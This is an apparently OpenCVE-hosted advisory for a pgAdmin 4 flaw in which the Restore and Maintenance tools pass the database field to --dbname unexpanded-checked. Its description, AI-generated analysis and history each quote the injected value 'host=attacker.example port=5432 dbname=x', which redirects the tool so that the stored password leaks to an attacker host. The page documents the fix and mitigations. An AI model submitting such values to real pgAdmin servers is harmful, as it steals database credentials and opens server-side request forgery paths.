CVE-2026-86862

pgAdmin 4: Connection-string injection via the database field in the Restore and Maintenance tools

Published Sep 17, 2026 CVSS 4.0 · 7.1 High EPSS < 1% KEV · Not listed
Description
pgAdmin 4's Restore and Maintenance tools passed the client-supplied 'database' field directly as the value of the --dbname option given to pg_restore and psql. libpq expands a database name containing an equals sign into a full connection string, and connection keywords embedded in that value take precedence over the --host and --port arguments that pgAdmin supplies. A value such as 'host=attacker.example port=5432 dbname=x' therefore redirected the utility to a server chosen by the requesting user rather than the server the operation was invoked against. Because pgAdmin exports the decrypted stored database password in the PGPASSWORD environment variable before executing the utility, the redirected connection presents that credential to the attacker-nominated endpoint, which may capture it. The redirection additionally permits outbound connections from the pgAdmin host to arbitrary network addresses, including hosts not otherwise reachable by the requesting user.

The behaviour is reachable by any authenticated user holding the tools_restore or tools_maintenance permission, both of which the default User role grants. The Maintenance tool was not affected in the earliest releases, where the value was wrapped by a quoting helper that incidentally prevented expansion; it became affected when that wrapper was removed.

The fix supplies the target database in the PGDATABASE environment variable, which libpq treats as a literal database name and never expands as a connection string. Where pg_restore requires a --dbname argument to be present, an empty value is passed, which contains no equals sign and is therefore not expanded, while the real name is taken from the environment.

This issue affects pgAdmin 4: from the introduction of the --dbname argument in the Restore and Maintenance tools before 9.18.

Analysis

AI-generated

Technical impact

pgAdmin 4’s Restore and Maintenance tools expose the client‑supplied database field directly to the --dbname option of pg_restore and psql. The libpq library expands a database name containing an equals sign into a full connection string, giving embedded keywords precedence over the host and port parameters supplied by pgAdmin. An attacker can therefore supply a value such as "host=attacker.example port=5432 dbname=x" causing the utility to connect to an attacker‑controlled server. Because pgAdmin exports the stored database password into the PGPASSWORD environment variable before invoking the utility, the redirected connection presents that credential to the external endpoint, allowing credential theft and the possibility of further interaction with the target database.

Affected Systems

The vulnerability affects pgAdmin 4 releases that introduced the --dbname argument in the Restore and Maintenance tools, before version 9.18. Any authenticated user with the tools_restore or tools_maintenance permission, which the default User role grants, can trigger the exploit. The issue is confined to the pgAdmin 4 application and the database servers it connects to.

Risk and Exploitability

The CVSS score of 7.1 classifies this as a moderate‑to‑high severity vulnerability. Although the EPSS score is currently unavailable and the flaw is not listed in CISA’s KEV catalog, the attack vector remains within the context of an authenticated client session using pgAdmin. The risk is that an attacker with legitimate credentials can cause pgAdmin to expose sensitive credentials to arbitrary external services and establish unexpected outbound connections from the pgAdmin host. The exploit does not require additional privileges beyond those normally granted to a user with Restore or Maintenance tool access.

Remediation

No solution or workaround provided in the CVE record.

OpenCVE Recommended Actions

  • Apply the latest pgAdmin 4 release that implements the fix by passing the target database in the PGDATABASE environment variable, ensuring libpq treats it as a literal name.
  • If upgrading is not immediately feasible, restrict the tools_restore and tools_maintenance permissions from users or roles that should not use the Restore and Maintenance tools, thereby removing the injection vector.
  • Monitor and audit database traffic and logs for unexpected outbound connections originating from the pgAdmin host, and enforce network controls such as firewall rules to block unapproved external connections.

Generated by OpenCVE AI on September 17, 2026 at 20:27 UTC.

Tracking

Sign in to view the affected projects.

Advisories

No advisories available
History
Type Values Removed Values Added
CPEs cpe:2.3:a:pgadmin:pgadmin_4:*:*:*:*:*:postgresql:*:*
Type Values Removed Values Added
First Time appeared Pgadmin
Pgadmin pgadmin 4
Vendors & Products Pgadmin
Pgadmin pgadmin 4
Type Values Removed Values Added
Metrics ssvc

{'options': {'Automatable': 'no', 'Exploitation': 'none', 'Technical Impact': 'partial'}, 'version': '2.0.3'}

Type Values Removed Values Added
Description pgAdmin 4's Restore and Maintenance tools passed the client-supplied 'database' field directly as the value of the --dbname option given to pg_restore and psql. libpq expands a database name containing an equals sign into a full connection string, and connection keywords embedded in that value take precedence over the --host and --port arguments that pgAdmin supplies. A value such as 'host=attacker.example port=5432 dbname=x' therefore redirected the utility to a server chosen by the requesting user rather than the server the operation was invoked against. Because pgAdmin exports the decrypted stored database password in the PGPASSWORD environment variable before executing the utility, the redirected connection presents that credential to the attacker-nominated endpoint, which may capture it. The redirection additionally permits outbound connections from the pgAdmin host to arbitrary network addresses, including hosts not otherwise reachable by the requesting user. The behaviour is reachable by any authenticated user holding the tools_restore or tools_maintenance permission, both of which the default User role grants. The Maintenance tool was not affected in the earliest releases, where the value was wrapped by a quoting helper that incidentally prevented expansion; it became affected when that wrapper was removed. The fix supplies the target database in the PGDATABASE environment variable, which libpq treats as a literal database name and never expands as a connection string. Where pg_restore requires a --dbname argument to be present, an empty value is passed, which contains no equals sign and is therefore not expanded, while the real name is taken from the environment. This issue affects pgAdmin 4: from the introduction of the --dbname argument in the Restore and Maintenance tools before 9.18.
Title pgAdmin 4: Connection-string injection via the database field in the Restore and Maintenance tools
Weaknesses CWE-522
CWE-88
CWE-918
References
Metrics cvssV3_1

{'score': 6.5, 'vector': 'CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N'}

cvssV4_0

{'score': 7.1, 'vector': 'CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N'}

Weaknesses
  • CWE-522

    Insufficiently Protected Credentials

  • CWE-88

    Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')

  • CWE-918

    Server-Side Request Forgery (SSRF)

Sources

Status
PUBLISHED
Assigner
PostgreSQL
Published
Updated
Sep 17, 2026, 4:02 PM
Reserved
Sep 8, 2026, 3:47 PM
Status
Analyzed
Published
Sep 17, 2026, 4:18 PM
Modified
Sep 21, 2026, 5:27 PM